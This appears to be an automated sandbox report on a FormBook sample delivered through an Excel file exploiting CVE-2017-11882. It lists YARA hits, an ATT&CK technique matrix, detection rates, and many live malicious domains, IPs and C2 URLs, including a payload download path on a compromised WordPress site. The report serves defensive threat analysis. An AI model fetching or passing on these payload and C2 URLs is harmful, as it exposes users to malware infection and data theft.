Source: Yara match	File source: 00000006.00000002.411940280.0000000000240000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmp, type: MEMORY

Yara detected FormBook

Source: Yara match	File source: 7.2.oktuxvhtsq.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.oktuxvhtsq.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.oktuxvhtsq.exe.260000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.oktuxvhtsq.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.411942593.0000000000260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.420688853.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.420828073.0000000002280000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.849613102.0000000000320000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.849597547.00000000002F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	1 Scripting	Path Interception	512 Process Injection	1 Deobfuscate/Decode Files or Information	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	5 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	1 System Shutdown/Reboot	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	1 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Scripting	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	Exfiltration Over Bluetooth	1 Encrypted Channel	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	1 Shared Modules	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	127 System Information Discovery	SMB/Windows Admin Shares	1 Clipboard Data	Automated Exfiltration	3 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	23 Exploitation for Client Execution	Login Hook	Login Hook	1 Software Packing	NTDS	141 Security Software Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	113 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Rootkit	LSA Secrets	2 Virtualization/Sandbox Evasion	SSH	Keylogging	Scheduled Transfer	Fallback Channels			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	Commonly Used Port			Inhibit System Recovery	Web Services	DNS
Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	512 Process Injection	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Exfiltration Over Alternative Protocol	Application Layer Protocol			Defacement	Serverless	Network Trust Dependencies

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
RFQ-T56797W_1.xlsx	63%	ReversingLabs	Document-Office.Exploit.CVE-2017-11882
RFQ-T56797W_1.xlsx	55%	Virustotal		Browse
RFQ-T56797W_1.xlsx	100%	Avira	EXP/CVE-2017-11882.Gen

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	100%	Joe Sandbox ML

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
centralngs.com	14%	Virustotal	Browse
mail.treeoflifeadventures.com	18%	Virustotal	Browse
www.miamirealestatecommercial.com	12%	Virustotal	Browse
www.narrativepages.com	13%	Virustotal	Browse
td-ccm-neg-87-45.wixdns.net	0%	Virustotal	Browse
www.sxchenggu.com	12%	Virustotal	Browse
www.credit-cards-16215.bond	13%	Virustotal	Browse
www.centralngs.com	13%	Virustotal	Browse
www.pj69vip12.cyou	12%	Virustotal	Browse
www.west-paws.com	11%	Virustotal	Browse
www.luxpsy.com	11%	Virustotal	Browse
windowsupdatebg.s.llnwi.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.daqtpt.cfd	0%	Avira URL Cloud	safe
http://www.moderco.net	0%	Avira URL Cloud	safe
http://www.sxchenggu.com/ge06/www.centralngs.com	100%	Avira URL Cloud	malware
http://www.miamirealestatecommercial.com/ge06/?6l58L2=gDpd64bE+Gog2Ub9xNP+FcNZgu7s+BOO8oofSDr/EnD0mt4NGRW6zjQQOpU+sZp484vtJQ==&BL3=KP-PB41	100%	Avira URL Cloud	malware
http://www.centralngs.com	100%	Avira URL Cloud	malware
http://www.pj69vip12.cyou/ge06/www.miamirealestatecommercial.com	100%	Avira URL Cloud	malware
http://www.bowllywood.com/ge06/www.moderco.net	100%	Avira URL Cloud	malware
http://www.versebuild.xyz/ge06/	100%	Avira URL Cloud	phishing
http://www.centralngs.com	13%	Virustotal		Browse
http://www.moderco.net	9%	Virustotal		Browse
http://www.daqtpt.cfd	6%	Virustotal		Browse
http://www.versebuild.xyz/ge06/	1%	Virustotal		Browse
http://www.sxchenggu.com/ge06/	100%	Avira URL Cloud	malware
http://www.bulgarianarchive.com/ge06/www.hndswicco.best	100%	Avira URL Cloud	malware
http://www.fakeittilyoumakeitfinance.com	100%	Avira URL Cloud	phishing
http://www.fakeittilyoumakeitfinance.com/ge06/	100%	Avira URL Cloud	malware
http://www.fakeittilyoumakeitfinance.comReferer:	0%	Avira URL Cloud	safe
http://www.narrativepages.com	100%	Avira URL Cloud	malware
http://www.credit-cards-16215.bond	100%	Avira URL Cloud	phishing
http://www.bowllywood.comReferer:	0%	Avira URL Cloud	safe
http://www.bulgarianarchive.comReferer:	0%	Avira URL Cloud	safe
http://www.sxchenggu.com/ge06/	3%	Virustotal		Browse
http://www.fakeittilyoumakeitfinance.com	13%	Virustotal		Browse
http://www.sxchenggu.com	100%	Avira URL Cloud	malware
http://www.narrativepages.com	13%	Virustotal		Browse
http://www.fakeittilyoumakeitfinance.com/ge06/	1%	Virustotal		Browse
http://www.hndswicco.best	100%	Avira URL Cloud	malware
http://www.bulgarianarchive.com	100%	Avira URL Cloud	phishing
http://www.credit-cards-16215.bond	13%	Virustotal		Browse
http://www.sxchenggu.com/ge06/?6l58L2=0+Pk4QqMeOZthSuOlE3hLercqAjKj7AZkI6NQZ8fzlVSI648NH9aZsaxoIAU5h7921vkYw==&BL3=KP-PB41	100%	Avira URL Cloud	malware
http://www.west-paws.com	100%	Avira URL Cloud	phishing
http://www.daqtpt.cfd/ge06/	100%	Avira URL Cloud	malware
http://www.narrativepages.com/ge06/	100%	Avira URL Cloud	malware
http://www.miamirealestatecommercial.com/ge06/www.bowllywood.com	100%	Avira URL Cloud	malware
http://www.hndswicco.best	11%	Virustotal		Browse
http://mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shel	100%	Avira URL Cloud	malware
http://www.pj69vip12.cyou	100%	Avira URL Cloud	phishing
http://www.west-paws.com/ge06/www.pj69vip12.cyou	100%	Avira URL Cloud	malware
http://www.west-paws.com/ge06/	100%	Avira URL Cloud	malware
http://www.sxchenggu.com	12%	Virustotal		Browse
http://www.credit-cards-16215.bond/ge06/	100%	Avira URL Cloud	malware
http://www.miamirealestatecommercial.com	100%	Avira URL Cloud	malware
http://www.centralngs.com/ge06/www.west-paws.com	100%	Avira URL Cloud	malware
http://www.miamirealestatecommercial.comReferer:	0%	Avira URL Cloud	safe
http://www.centralngs.comReferer:	0%	Avira URL Cloud	safe
http://www.credit-cards-16215.bondReferer:	0%	Avira URL Cloud	safe
http://www.hndswicco.best/ge06/	100%	Avira URL Cloud	malware
http://www.west-paws.comReferer:	0%	Avira URL Cloud	safe
http://www.west-paws.com/ge06/?6l58L2=0AfOVuqZSJfRN5GiS/+VmpnTwyRml/2OLwKSVYenXKtwNMi61Jg0OdgGHf2AFfl8gIxxQw==&BL3=KP-PB41	100%	Avira URL Cloud	malware
http://www.versebuild.xyzReferer:	0%	Avira URL Cloud	safe
http://www.bowllywood.com/ge06/	100%	Avira URL Cloud	malware
http://www.daqtpt.cfdReferer:	0%	Avira URL Cloud	safe
http://www.moderco.net/ge06/	100%	Avira URL Cloud	malware
http://www.pj69vip12.cyou/ge06/	100%	Avira URL Cloud	malware
http://www.ecoboat.world/ge06/	100%	Avira URL Cloud	malware
http://www.ecoboat.worldReferer:	0%	Avira URL Cloud	safe
http://www.bulgarianarchive.com/ge06/	100%	Avira URL Cloud	malware
http://www.centralngs.com/ge06/	100%	Avira URL Cloud	malware
http://www.centralngs.com/ge06/?6l58L2=STnFDs3dPiWe372IPmsYuoiBxbI3LvhJSNAXi8QejK8uEGpyoTWx2uWpsN+kECUfI/d5Qw==&BL3=KP-PB41	100%	Avira URL Cloud	malware
http://www.credit-cards-16215.bond/ge06/www.versebuild.xyz	100%	Avira URL Cloud	malware
http://www.sxchenggu.comReferer:	0%	Avira URL Cloud	safe
http://www.ecoboat.world/ge06/www.bulgarianarchive.com	100%	Avira URL Cloud	malware
http://java.sun.com	0%	Avira URL Cloud	safe
http://www.narrativepages.com/ge06/?6l58L2=/ya+08xkyOEL3z3mbFI+CcZs6Ll5ZIz+eS70dlN8tW9HOdaiVOhFBqrIR4wo06Sw4yKSnA==&BL3=KP-PB41	100%	Avira URL Cloud	malware
http://mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/jakatrol2.1.exe	100%	Avira URL Cloud	malware
http://www.hndswicco.bestReferer:	0%	Avira URL Cloud	safe
http://www.bowllywood.com	100%	Avira URL Cloud	malware
http://www.moderco.netReferer:	0%	Avira URL Cloud	safe
http://www.narrativepages.comReferer:	0%	Avira URL Cloud	safe
http://www.pj69vip12.cyouReferer:	0%	Avira URL Cloud	safe
http://www.miamirealestatecommercial.com/ge06/	100%	Avira URL Cloud	malware
http://www.moderco.net/ge06/www.daqtpt.cfd	100%	Avira URL Cloud	malware
http://www.narrativepages.com/ge06/www.credit-cards-16215.bond	100%	Avira URL Cloud	malware
http://www.versebuild.xyz	100%	Avira URL Cloud	malware
http://www.daqtpt.cfd/ge06/www.ecoboat.world	100%	Avira URL Cloud	malware
http://www.hndswicco.best/ge06/www.fakeittilyoumakeitfinance.com	100%	Avira URL Cloud	malware
www.fakeittilyoumakeitfinance.com/ge06/	100%	Avira URL Cloud	malware
http://www.ecoboat.world	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
centralngs.com	3.33.130.190	true	true	14%, Virustotal, Browse	unknown
mail.treeoflifeadventures.com	41.185.64.155	true	true	18%, Virustotal, Browse	unknown
parkingpage.namecheap.com	91.195.240.19	true	false		high
www.narrativepages.com	103.224.212.212	true	true	13%, Virustotal, Browse	unknown
www.miamirealestatecommercial.com	206.188.193.211	true	true	12%, Virustotal, Browse	unknown
td-ccm-neg-87-45.wixdns.net	34.149.87.45	true	true	0%, Virustotal, Browse	unknown
www.sxchenggu.com	38.11.36.68	true	true	12%, Virustotal, Browse	unknown
windowsupdatebg.s.llnwi.net	69.164.40.8	true	false	0%, Virustotal, Browse	unknown
www.credit-cards-16215.bond	unknown	unknown	true	13%, Virustotal, Browse	unknown
www.luxpsy.com	unknown	unknown	true	11%, Virustotal, Browse	unknown
www.centralngs.com	unknown	unknown	true	13%, Virustotal, Browse	unknown
www.west-paws.com	unknown	unknown	true	11%, Virustotal, Browse	unknown
www.pj69vip12.cyou	unknown	unknown	true	12%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.miamirealestatecommercial.com/ge06/?6l58L2=gDpd64bE+Gog2Ub9xNP+FcNZgu7s+BOO8oofSDr/EnD0mt4NGRW6zjQQOpU+sZp484vtJQ==&BL3=KP-PB41	true	Avira URL Cloud: malware	unknown
http://www.sxchenggu.com/ge06/?6l58L2=0+Pk4QqMeOZthSuOlE3hLercqAjKj7AZkI6NQZ8fzlVSI648NH9aZsaxoIAU5h7921vkYw==&BL3=KP-PB41	true	Avira URL Cloud: malware	unknown
http://www.west-paws.com/ge06/?6l58L2=0AfOVuqZSJfRN5GiS/+VmpnTwyRml/2OLwKSVYenXKtwNMi61Jg0OdgGHf2AFfl8gIxxQw==&BL3=KP-PB41	true	Avira URL Cloud: malware	unknown
http://www.centralngs.com/ge06/?6l58L2=STnFDs3dPiWe372IPmsYuoiBxbI3LvhJSNAXi8QejK8uEGpyoTWx2uWpsN+kECUfI/d5Qw==&BL3=KP-PB41	true	Avira URL Cloud: malware	unknown
http://www.narrativepages.com/ge06/?6l58L2=/ya+08xkyOEL3z3mbFI+CcZs6Ll5ZIz+eS70dlN8tW9HOdaiVOhFBqrIR4wo06Sw4yKSnA==&BL3=KP-PB41	true	Avira URL Cloud: malware	unknown
http://mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/jakatrol2.1.exe	true	Avira URL Cloud: malware	unknown
www.fakeittilyoumakeitfinance.com/ge06/	true	Avira URL Cloud: malware	low

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.centralngs.com	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	13%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.sxchenggu.com/ge06/www.centralngs.com	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.moderco.net	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	9%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.daqtpt.cfd	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	6%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.pj69vip12.cyou/ge06/www.miamirealestatecommercial.com	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.bowllywood.com/ge06/www.moderco.net	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.versebuild.xyz/ge06/	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://www.sxchenggu.com/ge06/	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://img.sedoparking.com	explorer.exe, 00000008.00000002.851097210.0000000008BFF000.00000004.80000000.00040000.00000000.sdmp, chkdsk.exe, 0000000A.00000002.850024421.00000000029EF000.00000004.10000000.00040000.00000000.sdmp	false		high
http://www.bulgarianarchive.com/ge06/www.hndswicco.best	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.fakeittilyoumakeitfinance.com	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	13%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://www.fakeittilyoumakeitfinance.comReferer:	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fakeittilyoumakeitfinance.com/ge06/	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.narrativepages.com	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	13%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.credit-cards-16215.bond	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	13%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://www.bowllywood.comReferer:	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.bulgarianarchive.comReferer:	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sxchenggu.com	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.bulgarianarchive.com	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.hndswicco.best	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.west-paws.com	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.daqtpt.cfd/ge06/	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.narrativepages.com/ge06/	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.miamirealestatecommercial.com/ge06/www.bowllywood.com	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shel	EQNEDT32.EXE, 00000002.00000002.412473279.00000000005DF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.west-paws.com/ge06/www.pj69vip12.cyou	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.autoitscript.com/autoit3	explorer.exe, 00000008.00000000.412690106.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.849552627.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.credit-cards-16215.bond/ge06/	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.pj69vip12.cyou	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.west-paws.com/ge06/	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.miamirealestatecommercial.com	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.miamirealestatecommercial.comReferer:	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.centralngs.com/ge06/www.west-paws.com	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.piriform.com/ccleanerxe	explorer.exe, 00000008.00000002.849943461.000000000260D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.413067200.000000000260E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.centralngs.comReferer:	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.credit-cards-16215.bondReferer:	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hndswicco.best/ge06/	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.west-paws.comReferer:	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.versebuild.xyzReferer:	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.bowllywood.com/ge06/	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.daqtpt.cfdReferer:	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pj69vip12.cyou/ge06/	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.moderco.net/ge06/	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.ecoboat.world/ge06/	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.ecoboat.worldReferer:	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.bulgarianarchive.com/ge06/	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.centralngs.com/ge06/	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://nsis.sf.net/NSIS_ErrorError	word.exe, 00000005.00000000.409599934.0000000000409000.00000008.00000001.01000000.00000004.sdmp, word.exe, 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmp, word.exe.2.dr, jakatrol2.1[1].exe.2.dr	false		high
http://www.sxchenggu.comReferer:	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.credit-cards-16215.bond/ge06/www.versebuild.xyz	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.ecoboat.world/ge06/www.bulgarianarchive.com	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.sedo.com/services/parking.php3	chkdsk.exe, 0000000A.00000002.850024421.00000000029EF000.00000004.10000000.00040000.00000000.sdmp	false		high
http://java.sun.com	explorer.exe, 00000008.00000000.412690106.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.849552627.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_Error	word.exe, word.exe, 00000005.00000000.409599934.0000000000409000.00000008.00000001.01000000.00000004.sdmp, word.exe, 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmp, word.exe.2.dr, jakatrol2.1[1].exe.2.dr	false		high
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv	explorer.exe, 00000008.00000000.413347575.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.849943461.000000000260D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.413067200.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.413884279.00000000074B9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.850716518.00000000074B9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.413347575.0000000003E9C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.850269711.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.413884279.0000000007517000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.850269711.0000000003E9C000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.hndswicco.bestReferer:	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.bowllywood.com	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.moderco.netReferer:	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.narrativepages.comReferer:	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pj69vip12.cyouReferer:	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.miamirealestatecommercial.com/ge06/	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.moderco.net/ge06/www.daqtpt.cfd	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.narrativepages.com/ge06/www.credit-cards-16215.bond	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.versebuild.xyz	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://img.sedoparking.com/templates/images/hero_nc.svg	explorer.exe, 00000008.00000002.851097210.0000000008BFF000.00000004.80000000.00040000.00000000.sdmp, chkdsk.exe, 0000000A.00000002.850024421.00000000029EF000.00000004.10000000.00040000.00000000.sdmp	false		high
http://www.piriform.com/ccleaner	explorer.exe, 00000008.00000000.413347575.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.849943461.000000000260D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.413067200.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.413884279.00000000074B9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.850716518.00000000074B9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.413347575.0000000003E9C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.850269711.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.413884279.0000000007517000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.850269711.0000000003E9C000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.daqtpt.cfd/ge06/www.ecoboat.world	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org	explorer.exe, 00000008.00000000.412690106.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.849552627.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.hndswicco.best/ge06/www.fakeittilyoumakeitfinance.com	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.ecoboat.world	explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
41.185.64.155	mail.treeoflifeadventures.com	South Africa	36943	GridhostZA	true
103.224.212.212	www.narrativepages.com	Australia	133618	TRELLIAN-AS-APTrellianPtyLimitedAU	true
206.188.193.211	www.miamirealestatecommercial.com	United States	55002	DEFENSE-NETUS	true
38.11.36.68	www.sxchenggu.com	United States	174	COGENT-174US	true
34.149.87.45	td-ccm-neg-87-45.wixdns.net	United States	2686	ATGS-MMD-ASUS	true
